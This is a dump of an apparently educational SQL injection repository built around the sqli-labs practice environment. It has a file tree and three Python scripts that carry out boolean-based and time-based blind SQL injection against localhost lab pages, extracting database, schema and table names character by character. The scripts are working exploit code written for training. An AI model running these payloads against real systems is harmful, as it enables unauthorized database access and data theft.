├── Book ├── sqli-labs参考.pdf └── sqlmap教程.pdf ├── README.md ├── README2.md ├── README3.md ├── README4.md ├── README5.md ├── README6.md ├── README7.md ├── Src ├── Script │ ├── Bool-injection-POST.py │ ├── Bool-injection.py │ ├── TimeBased-ForDatabases.py │ └── TimeBased-ForTables.py ├── sqli-labs.zip └── sqli-labs │ └── sqli-labs-master │ ├── Less-1 │ ├── index.php │ └── result.txt │ ├── Less-10 │ └── index.php │ ├── Less-11 │ └── index.php │ ├── Less-12 │ └── index.php │ ├── Less-13 │ └── index.php │ ├── Less-14 │ └── index.php │ ├── Less-15 │ └── index.php │ ├── Less-16 │ └── index.php │ ├── Less-17 │ └── index.php │ ├── Less-18 │ └── index.php │ ├── Less-19 │ └── index.php │ ├── Less-2 │ ├── index.php │ └── result.txt │ ├── Less-20 │ └── index.php │ ├── Less-21 │ ├── index.php │ └── result.txt │ ├── Less-22 │ ├── index.php │ └── result.txt │ ├── Less-23 │ └── index.php │ ├── Less-24 │ ├── failed.php │ ├── forgot_password.php │ ├── index.php │ ├── logged-in.php │ ├── login.php │ ├── login_create.php │ ├── new_user.php │ └── pass_change.php │ ├── Less-25 │ └── index.php │ ├── Less-25a │ ├── index.php │ └── result.txt │ ├── Less-26 │ ├── index.php │ └── result.txt │ ├── Less-26a │ └── index.php │ ├── Less-27 │ ├── index.php │ └── result.txt │ ├── Less-27a │ └── index.php │ ├── Less-28 │ ├── index.php │ └── result.txt │ ├── Less-28a │ └── index.php │ ├── Less-29 │ ├── hacked.php │ ├── index.php │ └── login.php │ ├── Less-3 │ └── index.php │ ├── Less-30 │ ├── hacked.php │ ├── index.php │ └── login.php │ ├── Less-31 │ ├── hacked.php │ ├── index.php │ └── login.php │ ├── Less-32 │ └── index.php │ ├── Less-33 │ └── index.php │ ├── Less-34 │ └── index.php │ ├── Less-35 │ └── index.php │ ├── Less-36 │ └── index.php │ ├── Less-37 │ └── index.php │ ├── Less-38 │ ├── index.php │ └── phpinfo.php │ ├── Less-39 │ └── index.php │ ├── Less-4 │ ├── index.php │ └── result.txt │ ├── Less-40 │ ├── failed.php │ ├── forgot_password.php │ ├── index.php │ ├── logged-in.php │ ├── login.php │ ├── login_create.php │ ├── new_user.php │ └── pass_change.php │ ├── Less-41 │ └── index.php │ ├── Less-42 │ ├── acc-create.php │ ├── failed.php │ ├── forgot_password.php │ ├── index.php │ ├── logged-in.php │ ├── login.php │ └── pass_change.php │ ├── Less-43 │ ├── Text-2.txt │ ├── acc-create.php │ ├── failed.php │ ├── forgot_password.php │ ├── index.php │ ├── logged-in.php │ ├── login.php │ └── pass_change.php │ ├── Less-44 │ ├── acc-create.php │ ├── failed.php │ ├── forgot_password.php │ ├── index.php │ ├── logged-in.php │ ├── login.php │ └── pass_change.php │ ├── Less-45 │ ├── acc-create.php │ ├── failed.php │ ├── forgot_password.php │ ├── index.php │ ├── logged-in.php │ ├── login.php │ └── pass_change.php │ ├── Less-46 │ └── index.php │ ├── Less-47 │ └── index.php │ ├── Less-48 │ └── index.php │ ├── Less-49 │ └── index.php │ ├── Less-5 │ └── index.php │ ├── Less-50 │ └── index.php │ ├── Less-51 │ └── index.php │ ├── Less-52 │ ├── index.php │ └── result.txt │ ├── Less-53 │ ├── index.php │ └── result.txt │ ├── Less-54 │ ├── index.php │ └── result.txt │ ├── Less-55 │ ├── index.php │ └── result.txt │ ├── Less-56 │ ├── index.php │ └── result.txt │ ├── Less-57 │ ├── index.php │ └── result.txt │ ├── Less-58 │ ├── index.php │ └── result.txt │ ├── Less-59 │ ├── index.php │ └── result.txt │ ├── Less-6 │ └── index.php │ ├── Less-60 │ ├── index.php │ └── result.txt │ ├── Less-61 │ ├── index.php │ └── result.txt │ ├── Less-62 │ ├── index.php │ └── result.txt │ ├── Less-63 │ ├── index.php │ └── result.txt │ ├── Less-64 │ ├── index.php │ └── result.txt │ ├── Less-65 │ ├── index.php │ └── result.txt │ ├── Less-7 │ └── index.php │ ├── Less-8 │ └── index.php │ ├── Less-9 │ └── index.php │ ├── SQL Injections-1.mm │ ├── SQL Injections-2.mm │ ├── SQL Injections-3.mm │ ├── SQL Injections.mm │ ├── SQL Injections.png │ ├── images │ ├── Home.png │ ├── Less-1.jpg │ ├── Less-10.jpg │ ├── Less-2.jpg │ ├── Less-20.jpg │ ├── Less-21.jpg │ ├── Less-22.jpg │ ├── Less-23.jpg │ ├── Less-24-new-user.jpg │ ├── Less-24-user-created.jpg │ ├── Less-24.jpg │ ├── Less-25-1.jpg │ ├── Less-25.jpg │ ├── Less-25a-1.jpg │ ├── Less-25a.jpg │ ├── Less-26-1.jpg │ ├── Less-26-a.jpg │ ├── Less-26.jpg │ ├── Less-26a-1.jpg │ ├── Less-27-1.jpg │ ├── Less-27.jpg │ ├── Less-27a-1.jpg │ ├── Less-27a.jpg │ ├── Less-28-1.jpg │ ├── Less-28.jpg │ ├── Less-28a-1.jpg │ ├── Less-28a.jpg │ ├── Less-29-1.jpg │ ├── Less-29.jpg │ ├── Less-3.jpg │ ├── Less-30-1.jpg │ ├── Less-30.jpg │ ├── Less-31-1.jpg │ ├── Less-31.jpg │ ├── Less-32.jpg │ ├── Less-33.jpg │ ├── Less-34.jpg │ ├── Less-35.jpg │ ├── Less-36.jpg │ ├── Less-37.jpg │ ├── Less-38.jpg │ ├── Less-39.jpg │ ├── Less-3a.jpg │ ├── Less-4.jpg │ ├── Less-40.jpg │ ├── Less-41.jpg │ ├── Less-42.jpg │ ├── Less-43.jpg │ ├── Less-44.jpg │ ├── Less-45.jpg │ ├── Less-46.jpg │ ├── Less-47.jpg │ ├── Less-48.jpg │ ├── Less-49.jpg │ ├── Less-5.jpg │ ├── Less-50-1.jpg │ ├── Less-50.jpg │ ├── Less-51.jpg │ ├── Less-52.jpg │ ├── Less-53.jpg │ ├── Less-54-1.jpg │ ├── Less-54-2.jpg │ ├── Less-54.jpg │ ├── Less-55.jpg │ ├── Less-56.jpg │ ├── Less-57.jpg │ ├── Less-58.jpg │ ├── Less-59.jpg │ ├── Less-6.jpg │ ├── Less-60.jpg │ ├── Less-61.jpg │ ├── Less-62.jpg │ ├── Less-63.jpg │ ├── Less-64.jpg │ ├── Less-65.jpg │ ├── Less-66.jpg │ ├── Less-7.jpg │ ├── Less-8.jpg │ ├── Less-9.jpg │ ├── Logged-in.jpg │ ├── acc-create.jpg │ ├── flag.jpg │ ├── flag1.jpg │ ├── pass-forgot.jpg │ ├── password-updated.jpg │ ├── slap.jpg │ ├── slap1.jpg │ └── waf.jpg │ ├── index-1.html │ ├── index-1.html_files │ ├── freemind2html.css │ ├── hide.png │ ├── icons │ │ ├── Mail.png │ │ ├── attach.png │ │ ├── back.png │ │ ├── bell.png │ │ ├── bookmark.png │ │ ├── broken-line.png │ │ ├── button_cancel.png │ │ ├── button_ok.png │ │ ├── calendar.png │ │ ├── clanbomber.png │ │ ├── clock.png │ │ ├── closed.png │ │ ├── desktop_new.png │ │ ├── down.png │ │ ├── edit.png │ │ ├── family.png │ │ ├── fema.png │ │ ├── female1.png │ │ ├── female2.png │ │ ├── flag-black.png │ │ ├── flag-blue.png │ │ ├── flag-green.png │ │ ├── flag-orange.png │ │ ├── flag-pink.png │ │ ├── flag-yellow.png │ │ ├── flag.png │ │ ├── folder.png │ │ ├── forward.png │ │ ├── freemind_butterfly.png │ │ ├── full-0.png │ │ ├── full-1.png │ │ ├── full-2.png │ │ ├── full-3.png │ │ ├── full-4.png │ │ ├── full-5.png │ │ ├── full-6.png │ │ ├── full-7.png │ │ ├── full-8.png │ │ ├── full-9.png │ │ ├── go.png │ │ ├── gohome.png │ │ ├── group.png │ │ ├── help.png │ │ ├── hourglass.png │ │ ├── idea.png │ │ ├── info.png │ │ ├── kaddressbook.png │ │ ├── kmail.png │ │ ├── knotify.png │ │ ├── korn.png │ │ ├── ksmiletris.png │ │ ├── launch.png │ │ ├── licq.png │ │ ├── list.png │ │ ├── male1.png │ │ ├── male2.png │ │ ├── messagebox_warning.png │ │ ├── password.png │ │ ├── pencil.png │ │ ├── penguin.png │ │ ├── prepare.png │ │ ├── smiley-angry.png │ │ ├── smiley-neutral.png │ │ ├── smiley-oh.png │ │ ├── smily_bad.png │ │ ├── stop-sign.png │ │ ├── stop.png │ │ ├── up.png │ │ ├── wizard.png │ │ ├── xmag.png │ │ └── yes.png │ ├── ilink.png │ ├── image.old.png │ ├── image.png │ ├── leaf.png │ └── show.png │ ├── index-2.html │ ├── index-2.html_files │ ├── freemind2html.css │ ├── hide.png │ ├── icons │ │ ├── Mail.png │ │ ├── attach.png │ │ ├── back.png │ │ ├── bell.png │ │ ├── bookmark.png │ │ ├── broken-line.png │ │ ├── button_cancel.png │ │ ├── button_ok.png │ │ ├── calendar.png │ │ ├── clanbomber.png │ │ ├── clock.png │ │ ├── closed.png │ │ ├── desktop_new.png │ │ ├── down.png │ │ ├── edit.png │ │ ├── family.png │ │ ├── fema.png │ │ ├── female1.png │ │ ├── female2.png │ │ ├── flag-black.png │ │ ├── flag-blue.png │ │ ├── flag-green.png │ │ ├── flag-orange.png │ │ ├── flag-pink.png │ │ ├── flag-yellow.png │ │ ├── flag.png │ │ ├── folder.png │ │ ├── forward.png │ │ ├── freemind_butterfly.png │ │ ├── full-0.png │ │ ├── full-1.png │ │ ├── full-2.png │ │ ├── full-3.png │ │ ├── full-4.png │ │ ├── full-5.png │ │ ├── full-6.png │ │ ├── full-7.png │ │ ├── full-8.png │ │ ├── full-9.png │ │ ├── go.png │ │ ├── gohome.png │ │ ├── group.png │ │ ├── help.png │ │ ├── hourglass.png │ │ ├── idea.png │ │ ├── info.png │ │ ├── kaddressbook.png │ │ ├── kmail.png │ │ ├── knotify.png │ │ ├── korn.png │ │ ├── ksmiletris.png │ │ ├── launch.png │ │ ├── licq.png │ │ ├── list.png │ │ ├── male1.png │ │ ├── male2.png │ │ ├── messagebox_warning.png │ │ ├── password.png │ │ ├── pencil.png │ │ ├── penguin.png │ │ ├── prepare.png │ │ ├── smiley-angry.png │ │ ├── smiley-neutral.png │ │ ├── smiley-oh.png │ │ ├── smily_bad.png │ │ ├── stop-sign.png │ │ ├── stop.png │ │ ├── up.png │ │ ├── wizard.png │ │ ├── xmag.png │ │ └── yes.png │ ├── ilink.png │ ├── image.png │ ├── leaf.png │ ├── map_location.png │ └── show.png │ ├── index-3.html │ ├── index-3.html_files │ ├── freemind2html.css │ ├── hide.png │ ├── icons │ │ ├── Mail.png │ │ ├── attach.png │ │ ├── back.png │ │ ├── bell.png │ │ ├── bookmark.png │ │ ├── broken-line.png │ │ ├── button_cancel.png │ │ ├── button_ok.png │ │ ├── calendar.png │ │ ├── clanbomber.png │ │ ├── clock.png │ │ ├── closed.png │ │ ├── desktop_new.png │ │ ├── down.png │ │ ├── edit.png │ │ ├── family.png │ │ ├── fema.png │ │ ├── female1.png │ │ ├── female2.png │ │ ├── flag-black.png │ │ ├── flag-blue.png │ │ ├── flag-green.png │ │ ├── flag-orange.png │ │ ├── flag-pink.png │ │ ├── flag-yellow.png │ │ ├── flag.png │ │ ├── folder.png │ │ ├── forward.png │ │ ├── freemind_butterfly.png │ │ ├── full-0.png │ │ ├── full-1.png │ │ ├── full-2.png │ │ ├── full-3.png │ │ ├── full-4.png │ │ ├── full-5.png │ │ ├── full-6.png │ │ ├── full-7.png │ │ ├── full-8.png │ │ ├── full-9.png │ │ ├── go.png │ │ ├── gohome.png │ │ ├── group.png │ │ ├── help.png │ │ ├── hourglass.png │ │ ├── idea.png │ │ ├── info.png │ │ ├── kaddressbook.png │ │ ├── kmail.png │ │ ├── knotify.png │ │ ├── korn.png │ │ ├── ksmiletris.png │ │ ├── launch.png │ │ ├── licq.png │ │ ├── list.png │ │ ├── male1.png │ │ ├── male2.png │ │ ├── messagebox_warning.png │ │ ├── password.png │ │ ├── pencil.png │ │ ├── penguin.png │ │ ├── prepare.png │ │ ├── smiley-angry.png │ │ ├── smiley-neutral.png │ │ ├── smiley-oh.png │ │ ├── smily_bad.png │ │ ├── stop-sign.png │ │ ├── stop.png │ │ ├── up.png │ │ ├── wizard.png │ │ ├── xmag.png │ │ └── yes.png │ ├── ilink.png │ ├── image.png │ ├── leaf.png │ ├── map_location.png │ └── show.png │ ├── index.html │ ├── index.html_files │ ├── freemind2html.css │ ├── hide.png │ ├── icons │ │ ├── Mail.png │ │ ├── attach.png │ │ ├── back.png │ │ ├── bell.png │ │ ├── bookmark.png │ │ ├── broken-line.png │ │ ├── button_cancel.png │ │ ├── button_ok.png │ │ ├── calendar.png │ │ ├── clanbomber.png │ │ ├── clock.png │ │ ├── closed.png │ │ ├── desktop_new.png │ │ ├── down.png │ │ ├── edit.png │ │ ├── family.png │ │ ├── fema.png │ │ ├── female1.png │ │ ├── female2.png │ │ ├── flag-black.png │ │ ├── flag-blue.png │ │ ├── flag-green.png │ │ ├── flag-orange.png │ │ ├── flag-pink.png │ │ ├── flag-yellow.png │ │ ├── flag.png │ │ ├── folder.png │ │ ├── forward.png │ │ ├── freemind_butterfly.png │ │ ├── full-0.png │ │ ├── full-1.png │ │ ├── full-2.png │ │ ├── full-3.png │ │ ├── full-4.png │ │ ├── full-5.png │ │ ├── full-6.png │ │ ├── full-7.png │ │ ├── full-8.png │ │ ├── full-9.png │ │ ├── go.png │ │ ├── gohome.png │ │ ├── group.png │ │ ├── help.png │ │ ├── hourglass.png │ │ ├── idea.png │ │ ├── info.png │ │ ├── kaddressbook.png │ │ ├── kmail.png │ │ ├── knotify.png │ │ ├── korn.png │ │ ├── ksmiletris.png │ │ ├── launch.png │ │ ├── licq.png │ │ ├── list.png │ │ ├── male1.png │ │ ├── male2.png │ │ ├── messagebox_warning.png │ │ ├── password.png │ │ ├── pencil.png │ │ ├── penguin.png │ │ ├── prepare.png │ │ ├── smiley-angry.png │ │ ├── smiley-neutral.png │ │ ├── smiley-oh.png │ │ ├── smily_bad.png │ │ ├── stop-sign.png │ │ ├── stop.png │ │ ├── up.png │ │ ├── wizard.png │ │ ├── xmag.png │ │ └── yes.png │ ├── ilink.png │ ├── image.png │ ├── leaf.png │ ├── marktree.js │ ├── minus.png │ ├── plus.png │ ├── show.png │ └── treestyles.css │ ├── readme.md │ ├── readme.md~ │ ├── readme.txt │ ├── readme.txt~ │ ├── sql-connections │ ├── db-creds.inc │ ├── functions.php │ ├── setup-db-challenge.php │ ├── setup-db.php │ ├── sql-connect-1.php │ ├── sql-connect.php │ ├── sqli-connect.php │ └── test.php │ ├── sql-lab.sql │ └── tomcat-files.zip ├── Tools └── sqlmapproject-sqlmap.zip └── image ├── 31.png ├── 32.png ├── 33.png ├── 34.png ├── 51.png ├── 52.png ├── 53.png ├── 54.png ├── 55.png ├── 61.png ├── 62.png ├── 63.png ├── 71.png ├── 72.png ├── 73.png └── Sqli-Labs-Sqlmap-基础篇 ├── 1.png ├── 10.png ├── 11.png ├── 2.png ├── 3.png ├── 4.png ├── 5.png ├── 6.png ├── 7.png ├── 8.png └── 9.png /Book/sqli-labs参考.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bkfish/Sql-Injection/a565d3e3d42bce6dc199c66b332c0f5a3af7f208/Book/sqli-labs参考.pdf -------------------------------------------------------------------------------- /Book/sqlmap教程.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bkfish/Sql-Injection/a565d3e3d42bce6dc199c66b332c0f5a3af7f208/Book/sqlmap教程.pdf -------------------------------------------------------------------------------- /Src/Script/Bool-injection.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding:utf8 3 | 4 | import requests 5 | import time 6 | import sys 7 | 8 | # config-start 9 | sleep_time = 5 10 | error_time = 1 11 | # config-end 12 | 13 | def getPayload(indexOfResult, indexOfChar, mid): 14 | column_name="schema_name" 15 | table_name="schemata" 16 | database_name="information_schema" 17 | startStr = "1'and " 18 | endStr = " and'1'='1" 19 | payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 20 | payload = startStr + payload + endStr 21 | return payload 22 | 23 | def exce(indexOfResult,indexOfChar,mid): 24 | # content-start 25 | url = "http://localhost/sqli-labs-master/Less-5/?id=" 26 | tempurl = url + getPayload(indexOfResult,indexOfChar,mid) 27 | content = requests.get(tempurl).text 28 | # content-end 29 | # judge-start 30 | if "You are in..........." in content: 31 | return True 32 | else: 33 | return False 34 | # judge-end 35 | 36 | def doubleSearch(indexOfResult,indexOfChar,left_number, right_number): 37 | while left_number < right_number: 38 | mid = int((left_number + right_number) / 2) 39 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 40 | left_number = mid 41 | else: 42 | right_number = mid 43 | if left_number == right_number - 1: 44 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 45 | mid += 1 46 | break 47 | else: 48 | break 49 | return chr(mid) 50 | 51 | def search(): 52 | for i in range(32): # 需要遍历的查询结果的数量 53 | counter = 0 54 | for j in range(32): # 结果的长度 55 | counter += 1 56 | temp = doubleSearch(i, j, 0, 127) # 从255开始查询 57 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 58 | break 59 | sys.stdout.write(temp) 60 | sys.stdout.flush() 61 | if counter == 1: # 当结果集的所有行都被遍历后退出 62 | break 63 | sys.stdout.write("\r\n") 64 | sys.stdout.flush() 65 | 66 | search() -------------------------------------------------------------------------------- /Src/Script/TimeBased-ForDatabases.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import requests 3 | import time 4 | url = 'http://localhost/sqli-labs-master/Less-9/?id=1' 5 | def check(payload): 6 | url_new = url + payload 7 | time_start = time.time() 8 | content = requests.get(url=url_new) 9 | time_end = time.time() 10 | if time_end - time_start >5: 11 | return 1 12 | result = '' 13 | s = r'0123456789abcdefghijklmnopqrstuvwxyz_' 14 | for i in range(1,50): 15 | flag=0; 16 | for c in s: 17 | payload = "'and if(substr(database(),%d,1)='%c',sleep(5),1)--+" % (i,c) 18 | print("Database name: "+result+" | Payload: "+payload) 19 | if check(payload): 20 | flag=1; 21 | result += c 22 | break 23 | if(flag==0): 24 | print("Over") 25 | print("Database name: ") 26 | break 27 | print (result) -------------------------------------------------------------------------------- /Src/Script/TimeBased-ForTables.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import requests 3 | import time 4 | url = 'http://localhost/sqli-labs-master/Less-9/?id=1' 5 | def check(payload): 6 | url_new = url + payload 7 | time_start = time.time() 8 | content = requests.get(url=url_new) 9 | time_end = time.time() 10 | if time_end - time_start >5: 11 | return 1 12 | result = '' 13 | panduan = '' 14 | ll=0 15 | s = r'0123456789abcdefghijklmnopqrstuvwxyz' 16 | for i in range(1,100): 17 | for c in s: 18 | payload = "'and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),%d,1)='%c',sleep(5),1)--+" % (i,c) 19 | print("Table_name name: "+result+" | Payload: "+payload) 20 | if check(payload): 21 | result += c 22 | break 23 | if ll==len(result): 24 | print ('table_name: '+result) 25 | ll = len(result) 26 | print (result) -------------------------------------------------------------------------------- /Src/sqli-labs.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bkfish/Sql-Injection/a565d3e3d42bce6dc199c66b332c0f5a3af7f208/Src/sqli-labs.zip -------------------------------------------------------------------------------- /Src/sqli-labs/sqli-labs-master/Less-1/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 | 5 |51 |